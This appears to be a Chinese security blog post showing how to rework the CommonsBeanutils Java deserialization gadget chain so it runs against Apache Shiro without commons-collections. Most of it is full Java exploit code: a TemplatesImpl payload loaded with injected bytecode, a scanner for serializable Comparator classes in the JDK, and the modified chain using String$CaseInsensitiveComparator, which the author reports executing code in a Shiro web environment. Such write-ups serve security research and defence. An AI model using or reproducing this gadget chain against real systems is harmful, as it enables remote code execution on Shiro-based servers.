原理
因为有了之前 CommonsBeanutils
的基础,直接复用其 payload,发现在只有 shiro,没有其他依赖的环境下会报错,CommonsBeanutils
代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;
public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
final Object templates = createTemplatesImpl();
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
tools.Deserialize(queue);
}
public static Object createTemplatesImpl() throws Exception{
return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl( Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
setFieldValue(templates, "_bytecodes",new byte[][]{
ClassPool.getDefault().get(CommonsBeanutilsEXP.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}
在 org.apache.commons.beanutils.BeanComparator.<init>
报错 Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections.comparators.ComparableComparator
,这个类是在 commons-collections
里的,所以当没有使用到 commons-collections
时,CommonsBeanutils
就无法使用了。
在看报错信息,跟进 org.apache.commons.beanutils.BeanComparator。<init>
,发现是构造方法的问题,在 payload 中只传入一个字符串,使用的是默认的 Comparator
,这个 Comparator
就是 org.apache.commons.collections.comparators.ComparableComparator
,所以才会爆上述的错误:
解决方法当然是不用默认的 Comparator
,查看代码发现 BeanComparator
有 3 个构造方法,其中无参的构造方法最后还是调用了默认的 Comparator
,所以只能尝试有 2 个参数的构造方法,指定调用的 Comparator
。
那么现在的问题就是如何找这个指定 Comparator
,其满足 2 个条件即可:
- 实现
java.util.Comparator
接口 - 实现
java.io.Serializable
接口
先看到实现了 java.util.Comparator
接口的类,还挺多的:
直接写代码过滤1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110import java.io.File;
import java.io.FileInputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.FileVisitOption;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Comparator;
import java.util.List;
import java.util.jar.JarEntry;
import java.util.jar.JarInputStream;
import java.util.stream.Stream;
public class FindClass
{
private static void GetInfoFromClass(Class clazz) throws Exception
{
if(!(Serializable.class.isAssignableFrom(clazz)))
{
return;
}
if(!(Comparator.class.isAssignableFrom(clazz)))
{
return;
}
System.out.println(clazz.toString());
}
private static void EnumerateClassFromJar(String JarFile)
{
try
{
URLClassLoader ucl = URLClassLoader.newInstance(new URL[]
{
(new File(JarFile).toURI().toURL())
});
JarInputStream jis = new JarInputStream(new FileInputStream(JarFile), false);
JarEntry je;
String EntryName;
String ClassName;
Class clazz;
while(true)
{
je = jis.getNextJarEntry();
if(je == null)
{
break;
}
EntryName = je.getName();
if(EntryName.endsWith(".class"))
{
ClassName = EntryName.substring(0, EntryName.length() - 6).replace("/", ".");
try
{
clazz = ucl.loadClass(ClassName);
GetInfoFromClass(clazz);
}
catch(Throwable t)
{}
}
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
private static void EnumerateFileFromDir(String dir, String suffix)
{
try(Stream < Path > paths = Files.walk(Paths.get(dir), FileVisitOption.FOLLOW_LINKS))
{
paths
.filter( Files::isRegularFile )
.map( p -> p.toString() )
.filter( name -> name.endsWith( suffix ) )
.peek( System.out::println )
.forEach( FindClass::EnumerateClassFromJar );
}
catch(Throwable t)
{
t.printStackTrace();
}
}
public static void main(String[] argv)
{
String dir = "/Library/Java/JavaVirtualMachines/jdk1.8.0_172.jdk/Contents/Home/jre/lib";
EnumerateFileFromDir(dir, ".jar");
}
}
在 jdk 中查找,最后找到了多个类
当然最简单的还是 java.lang.String$CaseInsensitiveComparator
代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[1];
ctor.setAccessible(true);
System.out.println(ctor.getParameterCount());
return ctor;
}
public static void main(String[] args) throws Exception{
final Object templates = createTemplatesImpl();
// mock method name until armed
Constructor constructor = getFirstCtor("java.lang.String$CaseInsensitiveComparator");
Object obj = constructor.newInstance();
final BeanComparator comparator = new BeanComparator(null,(Comparator) obj);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("2");
// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
tools.Deserialize(queue);
}
public static Object createTemplatesImpl() throws Exception{
return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl( Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
setFieldValue(templates, "_bytecodes",new byte[][]{
ClassPool.getDefault().get(CommonsBeanutilsEXP.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}
成功在极少依赖的情况下执行代码:
放在 shiro web 环境下执行,成功执行